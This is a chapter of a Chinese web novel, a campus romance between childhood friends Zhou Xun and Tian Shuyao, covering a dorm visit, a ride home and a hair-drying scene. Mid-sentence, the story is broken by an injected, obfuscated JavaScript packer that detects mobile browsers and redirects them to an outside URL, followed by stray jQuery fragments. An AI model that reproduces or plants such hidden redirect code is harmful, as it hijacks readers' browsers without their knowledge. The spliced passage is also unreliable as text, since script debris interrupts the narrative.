5. 第 5 章

作品:《心宿二

    话题转得有些快,周洵没跟上她的思路,狐疑了声。


    “我得提前准备呀,总不能你有对象了,我还找你背我回去吧,我可不想被骂,所以我得在你之前找个男朋友。”


    周洵轻抿着唇,心口竟为这还没影儿的事发慌。


    无人说话,周身只剩雨点滴落的声音,眼看快到四栋宿舍楼门口,耳畔冷不丁响起一道声音,像是沾染了伞外的水汽,摇摇欲坠。


    “暂时没打算。”


    “所以,你随时可以找我。”


    雨点被屋檐拦截,耳畔的声音变得清晰。


    伞面遮去大厅投来的光亮,狭小的空间晦暗不明,周洵垂眸,一瞬不瞬地望着眼前的人。


    “干嘛这么看着我,我就随口一说。”


    雨伞“砰”的一声收起,伞面残留的水滴瞬间溅起,在光影下清晰可见。


    在宿管阿姨那登记好信息,周洵背着田舒窈上了楼。寝室在三楼走廊尽头,为了方便,钥匙一直是插在门锁上的。


    里面亮着灯,敲了两下门,很快便听到脚步声。


    “谁呀,直接进来就……”望见门外的人,邓心怡的声音戛然而止,呆愣在原地,半晌才反应过来,赶忙让出道。


    周洵把医务室开的袋子放在桌上,叮嘱:“上下床小心一点,这里有防水创口贴,洗澡的时候记得给手贴上。”


    “我是田舒窈的朋友,周洵,麻烦你们这两天多关照一下她。”


    “当然的。”邓心怡笑着回应,人一走便围了过来,“舒窈,你没事吧,咋伤的?”


    “没事,小腿抽筋,摔了一下。”田舒窈翘着腿,勾过桌上的袋子。


    “没事就好,那个,你还有这么帅的朋友呢,也是我们学校的吗,哪个专业的,以前怎么从来没听你说过。”欲言又止,邓心怡暗戳戳问道。


    田舒窈点点头:“天文系的,我没说过吗,我记得之前好像……”


    “啊——”


    破音的尖叫声骤然打断了她的话,只见邓心怡双手捂着脑袋,犹如名画《呐喊》,得亏是沈雁这会不在寝室,要不准得说道两句。


    “原来他就是你之前说的邻居发小啊,这、这也太拿的出手了,他还有兄弟吗,这对我很重要。”


    在邓心怡期待的注视下,田舒窈摇头:“没有,他是独生子。”


    “舒窈,看在我们当了这么久室友的份上。”说着,她双手握拳,殷勤地敲着田舒窈的肩膀,“你看这样行吗,等你们以后生了娃,我们两家结个亲家,实在不行让我当孩子干妈也成,你俩这基因,生的孩子肯定……”


    “等等,你好像误会了。”


    越听越糊涂,田舒窈抬手打断:“我俩没结婚,更没有孩子,给不了你干妈的头衔。”


    “那也是早晚的事,还是说,你俩不是情侣?”邓心怡捶打的双手顿住。


    田舒窈将她的手按回肩上,悠悠道:“不是。”


    “这样啊,原谅我第一次在现实中见到青梅竹马,还以为都跟电视剧里演的一样呢,那他有女朋友了吗?”


    “没有。”


    田舒窈闭眼享受人工按摩,脑中忽地闪过先前周洵的话——“暂时没打算。”


    也对,从小到大他的脑袋里只有天文,哪懂谈情说爱。


    -


    机场。


    田舒窈带着一顶深蓝色的棒球帽,长发随意扎起绑在脑后,迈着松散的步子前进,俨然一副还未醒的模样。


    “何叔,这里。”看到人后,周洵抬手招呼。


    “行李给我,你们上车就行。”何叔接过他手中的两个行李箱,说道。


    周洵没走,搭手提起行李箱往后备箱放,田舒窈紧跟着他的脚,一个没注意脑袋就抵住了他后背,像是找到了支点,也不动,就着这个姿势闭了眼。


    何叔见状笑了笑,当周承义助理这么多年,他也算是看着两人一起长大,算得上是半个长辈了。


    先去餐厅吃了晚饭,吃完才往家开,车子以龟速前进,放假前夕,路上正是堵的时候,半个小时的路程硬是开了一个多小时才到小区门口。


    小区的地理位置不算优越,胜在地阔,大都是两两相邻的独栋别墅设计,虽已有年头,但每年都定期翻新,气派依旧。


    别墅中间通常用铁栅栏隔开,但独他们家不同,两家人早在买下来后就商量着把栅栏拆了,还特地铺上了相通的石字路。


    睡了一路,田舒窈总算是醒了,揉了揉眼睛,踩着石字路就往家走,走一半才想起行李箱的事,回头见周洵已经将行李箱拿来了,遂心安扭头。


    家里没人,她拿出换洗的衣服,径直往浴室走,洗完出来天色已经彻底暗了,家里依旧静悄悄的。


    田舒窈弯腰用干毛巾擦着湿发,许是心魔作祟,每擦两下她都要停下听听动静。


    最后索性不擦了,起身找出柜子里的吹风机,不料刚插上插头,浴室的灯猛地闪了一下,紧接听到一丝电流声,倏地,漆黑一片。


    心脏猛地漏了一拍,田舒窈快速拔下插头,顾不上还在滴水的头发,拿上手机就往外跑,直到一头冲进了周洵的卧室。


    “砰”的一声关上门,她光脚背靠着门,大口喘着气。


    周洵被突如其来的动静吓到,目光从上至下,落在她光着的双脚上,起身:“怎么了?”


    田舒窈还没从刚才的冲刺中缓过来,拍着胸口,断断续续解释。


    “没事,应该是灯泡坏了,你先坐这,我下去给你拿鞋。”


    常有来往的缘故,家里一直有田舒窈专用的拖鞋,周洵拿着鞋子上来时,她已经半蹲着坐在书桌旁的办公椅上了。


    找出吹风机,周洵便拆线便道:“过来,先把头发吹干。”


    田舒窈撑着桌沿,一施力带滚轮的椅子便转了个圈,她抱着双膝,也不说话,就这样歪头看他。


    周洵自幼受不住她这双眼睛,望着人时一瞬不瞬的,可怜中带着点娇气,将人拿捏的准准的。


    “行了,转过去吧。”


    自认栽,他插上插头,先用掌心试了下温度,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129015|180195||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这才朝向她的脑袋。


    发丝被风吹得飞起,发香连带着沐浴香气一同往鼻尖钻,分不清是白茶中混杂了哪种水果的果香,淡淡的甜腻味。


    田舒窈双脚踩在椅面,膝盖抵在胸口的位置,V领的睡衣领口被拱起一个小坡,锁骨处泛着几处红痕,想必是洗澡时留下的痕迹,发丝沾染的水汽聚集在发尾,滴落时恰好落在那抹红上,又顺着重力往下,掩进春光乍现的衣领。


    周洵站在椅背后,视线不可避免地扫过此处,只一眼便匆匆移开,双耳像是进了油锅般,嗞啦啦地冒着热气。


    垂眸闭眼,他的指尖按动按键,风速瞬时加大,似要将他脑中的胡思都吹散。


    “欸,你吹到我耳朵了。”被吹风机的热气烫了下,田舒窈捂耳皱眉,偏头朝身后的人看去。


    周洵躲闪着眼神,“抱歉。”


    田舒窈正要扭头,余光突然瞄到一抹红,好奇问道:“你耳朵怎么了?”


    “啊?”周洵调小风速。


    “我说你耳朵怎么了,看着好红啊,跟晚上吃的凉拌猪耳朵一样。”


    “…没事。”不等她再问,他调大风速,打断对话。


    吹干头发,田舒窈仰着脑袋,双臂高举着桌上摊开的笔记本,一目十行。


    “临岸镇……你这咋写着我外婆家的地址啊?”她指着笔记本上标星的地址,问道。


    “后天晚上有天龙座流星雨,我在挑最近的观测点。”


    在众多天文知识中,田舒窈唯一感兴趣点的也就星座和流星雨了,听闻朝他看去:“真的吗,你确定不是雷阵雨?”


    忘了是哪年,他也信誓旦旦有流星雨,声称在家门前的院子里就能看,小小的她陪着一起蹲守在院子里,甚至吸来了四个大人。


    几人搬了张大型的露天木板桌,一躺躺到后半夜,只记得那天她是被硕大密集的雨点砸醒的。


    周洵笑着点头:“我确定。”


    “行吧,祝你好运。”


    话落,她起身一个大跨步,直奔身后的床去了,顺势翻身打了个滚,精准地以大字形落在床中央。


    裸露的肌肤是触目的白,与深色的床单形成鲜明的对比,刺目耀眼。


    周洵目光一定,心跳止不住加快,猛烈地跳动撞击着胸膛,仿佛要冲破皮肉,将他撕碎。


    轻抿着唇,他幽幽开口,声音比平日嘶哑:“下来。”


    “不要,我太累了。”


    田舒窈拒绝得干脆,不仅不下来,还翻身钻进被窝,两个枕头交叠在身后,掖好被角,挑了个舒服的姿势。


    “你……”周洵欲言又止,掌心攥拳又松开,默了半晌,还是随她去了。


    投影开机需要时间,她惬意地靠在床头,等待时耸了耸鼻子,寻到香源,埋头深吸一口,感叹:“你的被子好香啊,肯定刚洗过还晒了太阳。”


    田舒窈不喜欢晒太阳,却独爱太阳的气味,像是精灵在布料上跳了舞,留下脚印,便有了独特味道。


    “好好闻,要不我今晚就睡这吧?”